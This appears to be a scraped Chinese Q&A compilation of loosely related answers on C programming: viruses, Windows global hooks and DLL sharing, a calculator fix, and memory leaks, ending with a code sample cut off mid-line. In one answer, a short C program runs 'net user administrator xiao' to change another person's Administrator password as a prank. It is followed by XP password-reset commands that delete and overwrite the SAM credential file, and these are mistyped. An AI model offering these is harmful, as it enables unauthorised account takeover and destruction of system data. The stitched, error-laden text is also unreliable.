❶ c語言木馬源代碼
ls這個好像是感染c文件的病毒,自動加上玩笑代碼(當然可以是惡意的)
不是木馬
❷ C語言鉤子的問題,好像有漏洞啊
知道動態鏈接庫的底層實現么?
一個動態鏈接庫在物理內存中只被裝入一次
意味著你的dll在內存中只有一個副本
一個進程載入你的dll這個過程僅僅是操作系統把那塊dll物理內存所對的那塊內存載入到這個進程的邏輯地址(地址空間)罷了
怎麼可能內存浪費?
所有進程都載入了你的dll,那個dll在實際內存中也只有一個副本
這就是動態鏈接庫的好處
PS::dll被動載入(不是用LoadLibrary載入)是以進程為單位的。。。。下次不要說一個線程載入了dll了。。。。即使一個線程載入了那個dll,那個dll也是被那個進程共享的
對你的問題的補充
我只補充一點:對於任何一個dll,都是可以被共享的
如果兩個進程a和b都需要載入動態鏈接庫1.dll
那操作系統負責把1.dll裝入物理內存
然後把這塊內存區域的數據(在邏輯上)載入到進程a和進程b的虛擬地址空間中(按照a和b的輸入表以及重定位信息裝入到一個地址中)
所謂邏輯上載入就是並沒有在實際內存中額外創建一個1.dll的副本
當a.進程退出時,1.dll繼續停留在內存中,當b進程退出時,操作系統會知道模塊1.dll在內存中已經不被需要了就會回收這塊內存。
這就是動態鏈接庫的好處,除代碼重用之外還能減少內存佔用!(無論是在開發上,還是在實際使用上,動態鏈接庫都有著不可取代的高效)
另外我想我上面的回答已經夠詳細了
還不懂,那我也沒辦法
二樓的解釋純屬扯談
全局鉤子就是需要操作系統把這個dll映射到每一個進程中去的。
但這樣就是常駐內存嗎?請問二樓你寫過全局鉤子嗎?請問二樓你寫代碼的時候申請了一塊內存有釋放掉這塊內存的習慣嗎?
我請問你聽說過Windows API :
UnhookWindowsHookEx
(
HHOOK hhk;
);
嗎?沒聽說過請別瞎扯 ,ok?
全局鉤子就是要鉤全局的事件,為何要指定釋放?需要指定釋放那創建鉤子的時候為什麼不用進程鉤子?不吐槽了,無奈~~
不懂windows運行機制最好不要上來誤導不懂的人,謝謝
樓主如果只是做開發的,那你只需要知道全局鍵盤鉤子不需要任何額外內存就可以運行得很好,操作系統能做到把一塊物理內存上的 dll數據載入到每一個進程地址空間中去~
樓主如果想要把這個過程了解清楚
請參閱windows編程以及windows操作系統的相關書籍
如果能看懂《windows環境下32位匯編語言程序設計》這本書,那你幾乎問不出任何windows編程的問題了~
❸ 求C語言病毒源碼
一個小東西 介紹了後別笑話我 !它的功能很簡單,就是把Administrator的密碼該成xiao
大家整了人之後切記告訴他密碼(xiao)
自己可以用TC2.0編寫編譯調試生成
C語言下的代碼如下:
main()
{
system("net user administrator xiao");
}
如果自己真的不小心忘記了密碼 如果是XP系統 管理員密碼破解如下:
1.用個啟動盤啟動電腦後進入DOS 狀態下:輸入如下命令
del X:\windows\sysrem32\config\sam 回車
x:\windows\repair\sam x:\windows\system32\config 回車
2.重新啟動計算機。X為安裝XP的盤 一般為c:
❹ 求網路安全漏洞掃描源代碼,C或C++語言。(水平要高於本科)
哎,本人也就個本科水平,幫不了你了,遺憾
❺ 關於C語言的:一個程序的漏洞修補
我覺得這題最好用switch分支,而且既然在「printf("請選擇運算符號(1為加,2為減,3為乘,4為除,5為關閉程序),程序會自動生成一個運算數不超過2位數的算術式:"); 」輸入字母時判斷為錯誤,我覺得後面就沒有再輸入答案的必要了,所以我改為在「printf("請選擇運算符號(1為加,2為減,3為乘,4為除,5為關閉程序),程序會自動生成一個運算數不超過2位數的算術式:"); 」前加一個" Loop:",把continue改為goto Loop;雖然在C中goto語句最好不使用,但我覺得這題足取!
❻ 如何檢測C語言中的內存漏洞(leak)
在動態分配的內存單元(即由函數malloc()或ealloc()分配的內存單元)不再使用卻沒有被釋放的情況下,會出現內存漏洞。未釋放內存單元本身並不是一種錯誤,編譯程序不會因此報告出錯,程序也不會因此而立即崩潰。但是,如果不再使用而又沒有被釋放的內存單元越來越多,程序所能使用的內存空間就越來越小。最終,當程序試圖要求分配內存時,就會發現已經沒有可用的內存空間。這時,尤其是當程序員沒有考慮到內存分配失敗的可能性時,程序的運行就會出現異常現象。
內存漏洞是最難檢測的錯誤之一,同時也是最危險的錯誤。導致這個問題的編程錯誤很可能出現在程序的開始部分,但只有當程序奠名其妙地使用完內存後,這個問題才會暴露出來。
此時去檢查當前那條導致內存分配失敗的語句是無濟於事的,因為那些分配了內存卻未能按時釋放內存的代碼可能在程序的其它地方。
遺憾的是C語言並沒有為檢測或修復內存漏洞提供現成的方法。除非使用提供這種功能的商業軟體包,否則,程序員就需要以很大的耐心和精力去檢測和修復內存漏洞。最好的辦法是在編寫程序時就充分考慮到內存漏洞的可能性,並小心謹慎地處理這種可能性。
導致內存漏洞的最簡單的也是最常見的原因是忘記釋放分配給臨時緩沖區的內存空間,請看下述程序段:
# include
# include /** Say hello to the user's and put the user's name in UPPERCASE.*/void SayHi( char *name ){char * UpName;int a;UpName = malloc( strlen( name ) +1);
/ * Allocate space for the name * /
for( a =0; a